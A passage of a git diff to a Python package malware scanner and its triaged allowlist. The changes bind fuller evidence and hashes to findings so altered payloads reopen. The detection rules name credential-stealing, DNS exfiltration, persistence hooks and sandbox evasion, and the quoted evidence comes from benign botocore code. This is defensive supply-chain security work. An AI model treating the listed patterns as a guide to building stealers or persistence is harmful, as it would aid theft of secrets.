         findings.append(
             Finding(
                 HIGH,
@@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
                 filename,
                 "base64 decode + exec/eval + large encoded blob",
                 f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
-                f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
+                f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
+                f"Blob: sha256:{blob_digest}",
             )
         )
 
@@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
                 package,
                 filename,
                 "Embedded cryptographic key + network calls (encrypted exfil pattern)",
-                f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
+                f"Key: {_embedded_key_evidence(content)}\n"
                 f"Network: {_extract_evidence(content, RE_NETWORK)}",
             )
         )
 
     # Anti-analysis + any other suspicious pattern
     if has_anti and (has_network or has_subprocess or has_exec_eval):
+        # Bind the suspicious side too so a changed payload reopens.
+        evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
+        if has_network:
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if has_subprocess:
+            evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
+        if has_exec_eval:
+            evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
         findings.append(
             Finding(
                 HIGH,
                 package,
                 filename,
                 "Anti-analysis/sandbox evasion + suspicious behavior",
-                f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
+                "\n".join(evidence),
             )
         )
 
     # DNS exfiltration with dynamic hostnames
     if has_dns_exfil and (has_base64 or has_network or has_creds):
+        # Bind the co-occurring side so a changed exfil channel reopens.
+        evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
+        if has_base64:
+            evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
+        if has_network:
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if has_creds:
+            evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
         findings.append(
             Finding(
                 HIGH,
                 package,
                 filename,
                 "DNS exfiltration / tunneling patterns",
-                _extract_evidence(content, RE_DNS_EXFIL),
+                "\n".join(evidence),
             )
         )
 
@@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
                 package,
                 filename,
                 "Embedded cryptographic key material",
-                _extract_evidence(content, RE_EMBEDDED_KEYS),
+                _embedded_key_evidence(content),
             )
         )
 
@@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
     return findings
 
 
+_MAX_MULTILINE_LINES = 12
+# How far a single matched call is followed over its bracket continuations. A call
+# that genuinely closes is bound all the way to its real close, up to the hard
+# limit, so a ``requests.post(`` with many option/header lines before ``data=``
+# binds its whole argument list in the digest and a changed payload on a late
+# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
+# and let a later ``data=``/headers change ride the baseline key). A bracket that
+# never closes within the hard limit is a miscount (a multi-line string the
+# single-line blanker cannot mask) or a stray opener, so it is bound only to the
+# soft cap and cannot swallow unrelated code.
+_MAX_CALL_LINES = 40  # soft cap: how far a NEVER-closing opener is followed
+_MAX_CALL_HARD_LINES = 200  # hard cap: how far a closing call is followed to bind it
+
+# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
+# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
+# line, so a packed payload cannot dump unbounded content into the evidence and
+# baseline while a change past the cutoff still changes the digest and reopens the
+# finding. The npm scanner bounds its snippets the same way.
+_MAX_LINE_CHARS = 200
+# Cap on recorded spans in one evidence string; beyond it the remaining spans are
+# folded into a digest so a file with thousands of matching lines cannot build a
+# multi-megabyte evidence blob, while an added/removed span past the cap still
+# changes the key. Comfortably above the largest real baseline entry.
+_MAX_EVIDENCE_SPANS = 96
+
+
+def _cap_line(code: str) -> str:
+    """Bound a single line's displayed code: return it verbatim when short, else a
+    ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
+    pinned (fail-closed) without recording the entire line."""
+    if len(code) <= _MAX_LINE_CHARS:
+        return code
+    digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
+    return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
+
+
+_PY_TRIPLE = ("'''", '"""')
+
+
+def _ends_with_odd_backslash(s: str) -> bool:
+    """True if ``s`` ends with an odd run of backslashes, i.e. a trailing
+    backslash that escapes the newline (a string/line continuation) rather than a
+    literal ``\\\\`` pair."""
+    return (len(s) - len(s.rstrip("\\"))) % 2 == 1
+
+
+# Single-line quoted string literal; blanks complete one-line strings (the legacy
+# view) so the single-line and multi-line blanked spans can be unioned below.
+_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
+
+
+def _blank_code_strings(lines: list[str]) -> list[str]:
+    """Replace string contents (single- and triple-quoted, escapes honoured) with
+    spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
+    string intact. Bracket counting then never miscounts a ``)`` that lives inside
+    a string -- including a triple-quoted string spanning several lines, which a
+    per-line regex cannot blank."""
+    out: list[str] = []
+    in_triple: str | None = None  # active ''' or \"\"\" delimiter, or None
+    in_string: str | None = None  # active ' or " continued via a trailing backslash
+    for line in lines:
+        buf: list[str] = []
+        i, n = 0, len(line)
+        while i < n:
+            if in_triple is not None:
+                end = line.find(in_triple, i)
+                if end == -1:
+                    buf.append(" " * (n - i))
+                    i = n
+                else:
+                    buf.append(" " * (end - i + 3))
+                    i = end + 3
+                    in_triple = None
+                continue
+            if in_string is not None:
+                # A single-/double-quoted string continued onto this line by a
+                # backslash-escaped newline. Resume blanking until its closing quote;
+                # if this line also ends on an odd trailing backslash the string
+                # continues again, otherwise it closes (or is unterminated) here. A
+                # per-line regex blanker cannot see this, so a `)` on the
+                # continuation line would otherwise be counted as code and close the
+                # call early -- dropping the URL/body lines that follow.
+                j, closed = i, False
+                while j < n:
+                    if line[j] == "\\":
+                        j += 2
+                        continue
+                    if line[j] == in_string:
+                        j += 1
+                        closed = True
+                        break
+                    j += 1
+                buf.append(" " * (min(j, n) - i))
+                if closed:
+                    in_string = None
+                    i = j
+                else:
+                    i = n
+                    if not _ends_with_odd_backslash(line):
+                        in_string = None  # unterminated without continuation; stop
+                continue
+            ch = line[i]
+            if ch in "'\"":
+                if line[i : i + 3] in _PY_TRIPLE:
+                    delim = line[i : i + 3]
+                    end = line.find(delim, i + 3)
+                    if end == -1:  # opens a triple string that runs past this line
+                        buf.append(" " * (n - i))
+                        in_triple = delim
+                        i = n
+                    else:
+                        buf.append(" " * (end - i + 3))
+                        i = end + 3
+                    continue
+                j = i + 1  # single-line string; skip to its closing quote
+                closed = False
+                while j < n:
+                    if line[j] == "\\":
+                        j += 2
+                        continue
+                    if line[j] == ch:
+                        j += 1
+                        closed = True
+                        break
+                    j += 1
+                buf.append(" " * (min(j, n) - i))
+                if closed:
+                    i = j
+                else:
+                    # Ran off the line without closing: an odd trailing backslash
+                    # escapes the newline and continues the string onto the next
+                    # line, so remember the quote; otherwise it is just unterminated.
+                    i = n
+                    if _ends_with_odd_backslash(line):
+                        in_string = ch
+                continue
+            buf.append(ch)
+            i += 1
+        out.append("".join(buf))
+    return out
+
+
+_RE_BRACKETS = re.compile(r"[()\[\]{}]")
+_OPENERS = frozenset("([{")
+
+
+def _bracket_lr(line: str) -> tuple[int, int]:
+    """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
+    where ``L`` is the count of closers with no opener earlier on the line (they
+    need an opener to the LEFT / a prior line) and ``R`` is the count of openers
+    with no closer later on the line (they need a closer to the RIGHT / a later
+    line). A plain net count (opens minus closes) collapses order and so masks a
+    trailing opener that follows leading closers on the same line, e.g.
+    ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
+    call; tracking the running minimum keeps that opener visible so the call's
+    argument lines still bind. Only bracket characters are walked (pulled out with
+    one C-level regex pass) so a long minified line stays cheap."""
+    depth = 0
+    low = 0
+    for ch in _RE_BRACKETS.findall(line):
+        if ch in _OPENERS:
+            depth += 1
+        else:
+            depth -= 1
+            if depth < low:
+                low = depth
+    return -low, depth - low
+
+
+def _scan_line_end(view: list[str], start: int) -> int:
+    """1-based line where the statement at ``start`` closes its brackets in
+    ``view`` (one blanked view of the file). A call that closes is followed to its
+    real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
+    bracket that never closes within that hard limit (a stray/miscounted opener) is
+    bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
+    Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
+    so a closer that precedes the opener on the same line does not cancel it."""
+    depth = 0
+    hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
+    for j in range(start, hard + 1):
+        ln = view[j - 1]
+        left, right = _bracket_lr(ln)
+        depth = max(0, depth - left) + right
+        if ln.rstrip().endswith("\\"):
+            continue  # explicit backslash continuation: the call (e.g. its `(` and
+            # URL/body) is on the next physical line, so do not close here
+        if depth <= 0:
+            return j
+    # Never closed within the hard limit: bind only the soft cap so a stray opener
+    # cannot bind a giant unrelated span.
+    return min(len(view), start + _MAX_CALL_LINES - 1)
+
+
+def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
+    """1-based line where the statement opened at ``start`` closes, so a multi-line
+    call binds its argument lines (a changed URL/body on a continuation line
+    reopens, not just the API line). Returns the LARGER of the spans found in the
+    single-line-blanked view (legacy: a payload embedded inside a string still
+    counts, so its brackets bind the call) and the multi-line-blanked view (a
+    bracket inside a triple-quoted string argument no longer closes the call
+    early). Taking the union never shrinks the bound span below either view, so
+    neither blanking strategy can drop a continuation line a malicious change
+    relies on."""
+    return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
+
+
 def _extract_evidence(
     content: str,
     pattern: re.Pattern,
-    max_matches: int = 3,
+    max_matches: int = 0,
 ) -> str:
-    """Pull matching lines as evidence snippets.
+    """Pull matching lines as evidence snippets (``max_matches=0`` means all).
 
-    Falls back to a whole-content search when the pattern only matches across
-    line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
-    anti-analysis / archive-staging finding could report empty evidence, making
-    the baseline entry impossible to review.
+    Records every matching line in full, not a truncated sample, so an extra
+    match (or extra code on a long line) appended to an already-flagged file
+    changes the evidence and the baseline key instead of riding the first few.
+    Leading whitespace is kept so a flagged line moved out of a guarded block
+    reads as changed. Each single-line match is extended over bracket
+    continuations so a multi-line call binds its argument lines too. Cross-line
+    matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
+    construct appended under a check that already had a one-line match) are
+    recorded afterwards, so an added multiline payload reopens the finding. A
+    pathological greedy span is bounded to its head line plus a digest of the
+    rest.
     """
     lines = content.splitlines()
-    matches = []
+    sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
+    ml_blanked = _blank_code_strings(lines)
+    out = []
+    seen: set[tuple[int, int]] = set()
+    # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
+    # rendered spans, every further span is folded straight into a running digest
+    # instead of being materialized and sliced off at the end. On a minified or
+    # padded file with hundreds of thousands of matching lines that keeps memory
+    # and work bounded to the display cap rather than the match count, while the
+    # digest still covers every overflow span so an over-cap payload change
+    # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
+    # (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
+    # the digest is identical to buffering the whole list and canonicalizing once.
+    overflow_count = 0
+    overflow_hash = hashlib.sha256()
+    overflow_started = False
+
+    def _emit(rendered: str) -> None:
+        nonlocal overflow_count, overflow_started
+        if len(out) < _MAX_EVIDENCE_SPANS:
+            out.append(rendered)
+            return
+        overflow_count += 1
+        for piece in _RE_EVIDENCE_SPLIT.split(rendered):
+            piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
+            if not piece:
+                continue
+            if overflow_started:
+                overflow_hash.update(b"\n")
+            overflow_hash.update(piece.encode("utf-8", "replace"))
+            overflow_started = True
+
+    def _render(start: int, end: int) -> str:
+        span = lines[start - 1 : end] or ["<multiline match>"]
+        if len(span) > _MAX_MULTILINE_LINES:
+            # Digest the code without the L<NN>: markers so a pure line shift of
+            # the same span stays stable while a code change still reopens. The
+            # head is truncated for display only; the span digest already binds
+            # its full content, so no per-line digest is needed here.
+            code = "\n".join(ln.rstrip() for ln in span)
+            digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
+            head = span[0].rstrip()
+            if len(head) > _MAX_LINE_CHARS:
+                head = head[:_MAX_LINE_CHARS] + "..."
+            return f"L{start}: {head} sha256:{digest}"
+        return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
+
     for i, line in enumerate(lines, 1):
         if pattern.search(line):
-            snippet = line.strip()
-            if len(snippet) > 160:
-                snippet = snippet[:160] + "..."
-            matches.append(f"L{i}: {snippet}")
-            if len(matches) >= max_matches:
-                break
-    if matches:
-        return " | ".join(matches)
-    # Multiline (DOTALL) match: report the line where the match begins.
-    m = pattern.search(content)
-    if m:
-        line_no = content.count("\n", 0, m.start()) + 1
-        snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
-        if len(snippet) > 160:
-            snippet = snippet[:160] + "..."
-        return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
-    return ""
+            span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
+            if span in seen:
+                continue
+            # Only track spans while still filling the display list: past the cap
+            # every span is folded into the overflow digest, so growing `seen` with
+            # all of them would keep memory proportional to the match count (the
+            # behavior this cap exists to bound) on a generated file with millions
+            # of one-line matches. The per-line spans are unique by line number, so
+            # dropping them from `seen` past the cap cannot cause a missed dedup
+            # here; at worst the fallback re-folds an over-cap span into the same
+            # digest, which stays deterministic and still reopens on a change.
+            if len(out) < _MAX_EVIDENCE_SPANS:
+                seen.add(span)
+            _emit(_render(*span))
+            if max_matches and len(out) >= max_matches:
+                return " | ".join(out)
+
+    # Precompute newline offsets once so mapping a match offset to its 1-based line
+    # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
+    # made this fallback quadratic on a minified file with thousands of matches.
+    nl = [p for p, ch in enumerate(content) if ch == "\n"]
+    for m in pattern.finditer(content):
+        start = bisect.bisect_left(nl, m.start()) + 1
+        end = bisect.bisect_left(nl, m.end()) + 1
+        if end <= start or (start, end) in seen:
+            continue  # single-line matches are already covered by the pass above
+        # A giant greedy DOTALL span is bound by the full digest of its content
+        # (via _render, which renders a >12-line span as a head line plus a sha256
+        # of the whole span). Binding only the anchors leaves the bridged interior
+        # unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
+        # line and a later `subprocess` line, sharing no single line so the
+        # per-line pass never binds them) between unchanged outer anchors and keep
+        # the same key. Digesting the interior reopens on any such change; a pure
+        # line shift stays stable because the digest is over the markerless code.
+        if len(out) < _MAX_EVIDENCE_SPANS:
+            seen.add((start, end))
+        _emit(_render(start, end))
+        if max_matches and len(out) >= max_matches:
+            break
+    if overflow_count:
+        # The overflow digest was accumulated from the canonicalized (L<NN>:-less)
+        # spans as they were emitted, so a pure line shift above the overflow
+        # region does not change it and reopen an otherwise-unchanged finding,
+        # matching the per-span key's line-shift stability.
+        out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
+    return " | ".join(out)
+
+
+def _embedded_key_evidence(content: str) -> str:
+    """Key evidence that also pins the full PEM block(s) via a digest, so a key
+    body swapped under the same BEGIN marker reopens the finding (single-line and
+    DER keys are already bound by their full matched line)."""
+    ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
+    blocks = RE_PEM_BLOCK.findall(content)
+    if blocks:
+        digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
+        ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
+    return ev
+
+
+def _blob_digest(content: str) -> tuple[str, str]:
+    """First large blob (for display) plus a digest binding EVERY large blob, so
+    an appended or swapped encoded payload reopens the finding rather than riding
+    an unchanged first blob. Assumes at least one blob is present (single-blob
+    files keep the prior single-blob digest, so the baseline does not drift)."""
+    blobs = RE_LARGE_BLOB.findall(content)
+    digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
+    return blobs[0], digest
 
 
 # Non-Python checkers
@@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
                 package,
                 filename,
                 "JS embeds credential regexes AND makes network calls (stealer)",
-                _extract_evidence(content, RE_TOKEN_REGEX),
+                f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
+                f"Network: {_extract_evidence(content, RE_NETWORK)}",
             )
         )
     if has_workflow_inj:
@@ -1202,17 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
                 _extract_evidence(content, RE_WORKFLOW_INJECT),
             )
         )
-    if is_large and not findings:
-        findings.append(
-            Finding(
-                HIGH,
-                package,
-                filename,
-                f"Python wheel ships large ({len(content) // 1024} KB) JS bundle "
-                "(uncommon; manually review)",
-                "",
+    # Pin the whole file's content digest to EVERY JS finding (not just large
+    # bundles). _extract_evidence blanks only Python string forms before counting
+    # brackets, so a JS backtick template literal that contains `)` can close a
+    # call's span early and omit the option/body lines that follow; binding the
+    # full content means a change to those omitted lines still reopens instead of
+    # riding the matched-line evidence. A large bundle with no other heuristic is a
+    # standalone HIGH.
+    if findings or is_large:
+        digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
+        if findings:
+            for f in findings:
+                f.evidence = f"{f.evidence} bundle-sha256:{digest}"
+        else:
+            findings.append(
+                Finding(
+                    HIGH,
+                    package,
+                    filename,
+                    # Size stays out of the check label (from main) so the baseline
+                    # key does not drift when a benign bundle grows; the full-content
+                    # digest below still binds the bytes so a payload swap reopens.
+                    "Python wheel ships large JS bundle (uncommon; manually review)",
+                    f"sha256: {digest}",
+                )
             )
-        )
     return findings
 
 
@@ -1232,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
     if RE_DEV_TOOL_HIJACK.search(content) and (
         RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
     ):
+        # Bind the hook AND the network/exec signal so a changed exfil reopens.
+        evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
+        if RE_NETWORK.search(content):
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if RE_SUBPROCESS.search(content):
+            evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
         findings.append(
             Finding(
                 CRITICAL,
@@ -1239,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
                 filename,
                 "Shell installs developer-tool persistence hook (.bashrc / "
                 "profile.d / vscode tasks) AND has network or exec",
-                _extract_evidence(content, RE_DEV_TOOL_HIJACK),
+                "\n".join(evidence),
             )
         )
     if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
@@ -1249,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
                 package,
                 filename,
                 "Shell embeds credential regexes AND makes network calls",
-                _extract_evidence(content, RE_TOKEN_REGEX),
+                f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
+                f"Network: {_extract_evidence(content, RE_NETWORK)}",
             )
         )
     if RE_WORKFLOW_INJECT.search(content):
@@ -2516,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
 
 # Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
 # enforce without drowning in legitimate-library noise. Matched on
-# ``(package, basename(filename), check)`` -- not evidence text -- so a version
-# bump does not reopen a finding, but a *new* kind of finding in a listed file
-# is a different check and still fails. Regenerate with ``--write-baseline``.
+# (package, package-relative file, check, evidence hash); the hash strips
+# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
+# but changed flagged code does. Regenerate with ``--write-baseline``.
 
 _DEFAULT_BASELINE_PATH = os.path.join(
     os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
@@ -2545,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
     return _RE_SDIST_ROOT.sub("", filename, count = 1)
 
 
-def _finding_key(f: Finding) -> tuple[str, str, str]:
-    """Stable allowlist key: normalized package, package-relative path, check.
+# Evidence joins matched spans with " | " and a newline between labelled groups,
+# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
+# a marker, or a newline), never on a bare "|" -- matched code may contain a
+# bitwise-or or union type. The prefix strips only a genuine leading marker, an
+# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
+# a .pth import line) has no leading marker and is left intact.
+_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
+_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
 
-    The package-relative path (not just basename) keeps the key stable across
-    version bumps while still distinguishing same-named files like ``utils.py``.
+
+def _canon_evidence(evidence: str) -> str:
+    """Matched code lines in discovery order (markers removed), duplicates kept.
+
+    Splits evidence on its real span delimiters, drops each span's leading
+    label / line-number marker, and keeps the code with its indentation. Line
+    shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
+    stays significant: reordering matched lines (executable context, e.g. the
+    arguments of a multi-line call) reopens the finding. Keeping duplicates means
+    an appended identical occurrence still changes the key."""
+    spans = []
+    for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
+        s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
+        if s:
+            spans.append(s)
+    return "\n".join(spans)
+
+
+def _evidence_hash(evidence: str) -> str:
+    """Stable digest of the canonical matched evidence."""
+    return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
+
+
+def _finding_key(f: Finding) -> tuple[str, str, str, str]:
+    """Allowlist key: package, package-relative path, check, evidence hash.
+
+    The evidence hash is over the set of matched code, so the key survives version
+    bumps, line shifts and reordering but reopens when the flagged code changes --
+    so a future payload in a baselined file/check is not auto-suppressed.
     """
-    return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
+    return (
+        _norm_pkg(f.package),
+        _relpath_in_package(f.filename),
+        f.check,
+        _evidence_hash(f.evidence),
+    )
 
 
-def _load_baseline(path: str) -> set[tuple[str, str, str]]:
+def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
     """Load an allowlist JSON into a set of match keys. Missing file -> empty."""
     try:
         with open(path, "r", encoding = "utf-8") as fh:
@@ -2564,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
     except (OSError, json.JSONDecodeError) as exc:
         print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
         return set()
-    keys: set[tuple[str, str, str]] = set()
-    for e in data.get("entries", []):
+    if not isinstance(data, dict):
+        print(f"  [WARN] baseline {path} is not a JSON object", file = sys.stderr)
+        return set()
+    entries = data.get("entries", [])
+    if not isinstance(entries, list):
+        print(f"  [WARN] baseline {path} entries is not a list", file = sys.stderr)
+        return set()
+    keys: set[tuple[str, str, str, str]] = set()
+    legacy = 0
+    for e in entries:
+        if not isinstance(e, dict):
+            continue
         try:
-            keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
+            # Use the reviewed hash; else recompute it from the stored evidence.
+            evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
+            if not e.get("evidence_hash"):
+                legacy += 1
+            keys.add(
+                (
+                    _norm_pkg(e["package"]),
+                    _relpath_in_package(e["file"]),
+                    e["check"],
+                    evidence_hash,
+                )
+            )
         except (KeyError, TypeError):
             continue
+    if legacy:
+        print(
+            f"  [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
+            f"not suppress until regenerated with --write-baseline (findings reopen "
+            f"rather than risk hiding changed code under a coarse key)",
+            file = sys.stderr,
+        )
     return keys
 
 
 def _write_baseline(path: str, findings: list[Finding]) -> None:
     """Persist CRITICAL/HIGH findings as an allowlist for human triage."""
     entries = []
-    seen: set[tuple[str, str, str]] = set()
+    seen: set[tuple[str, str, str, str]] = set()
     for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
         if f.severity not in (CRITICAL, HIGH):
             continue
@@ -2590,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
                 "file": _relpath_in_package(f.filename),
                 "check": f.check,
                 "severity": f.severity,
-                "evidence": f.evidence[:240],
+                "evidence": f.evidence,
+                "evidence_hash": _evidence_hash(f.evidence),
             }
         )
     doc = {
         "_comment": (
             "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
             "manually judged benign. Matched on (package, package-relative file, "
-            "check); evidence/severity are for review only. Regenerate with "
-            "--write-baseline AFTER reviewing every line."
+            "check, evidence_hash); evidence_hash is over the matched code with "
+            "L<NN>: markers stripped, so version bumps and line shifts do not "
+            "reopen an entry but changed code does. severity and evidence are for "
+            "review only. Regenerate with --write-baseline AFTER reviewing every line."
         ),
         "version": 1,
         "entries": entries,
@@ -2610,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
 
 
 def _partition_baseline(
-    findings: list[Finding], baseline: set[tuple[str, str, str]]
+    findings: list[Finding], baseline: set[tuple[str, str, str, str]]
 ) -> tuple[list[Finding], list[Finding]]:
     """Split findings into (active, suppressed) by allowlist membership."""
     if not baseline:
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 67952c24f1..1d34cfb66d 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -1,5 +1,5 @@
 {
-  "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.",
+  "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L<NN>: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.",
   "version": 1,
   "entries": [
     {
@@ -7,1323 +7,1560 @@
       "file": "botocore/credentials.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):"
+      "evidence": "Base64: L2714:             return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072:     def __init__(self, profile_name, load_config, popen=subprocess.Popen):",
+      "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6"
     },
     {
       "package": "botocore",
       "file": "botocore/httpsession.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen("
+      "evidence": "Env: L186:         sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477:             urllib_response = conn.urlopen(\nL478:                 method=request.method,\nL479:                 url=request_target,\nL480:                 body=request.body,\nL481:                 headers=request.headers,\nL482:                 retries=Retry(False),\nL483:                 assert_same_host=False,\nL484:                 preload_content=False,\nL485:                 decode_content=False,\nL486:                 chunked=self._chunked(request.headers),\nL487:             )",
+      "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f"
     },
     {
       "package": "botocore",
       "file": "botocore/utils.py",
       "check": "Accesses cloud metadata/IMDS AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro"
+      "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560:                 error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072:     IP_ADDRESS = '169.254.170.2' | L3075:         '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66"
     },
     {
       "package": "botocore",
       "file": "botocore/utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"
+      "evidence": "Env: L417:             env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96"
     },
     {
       "package": "botocore",
       "file": "botocore/utils.py",
       "check": "Reads credential paths AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"
+      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
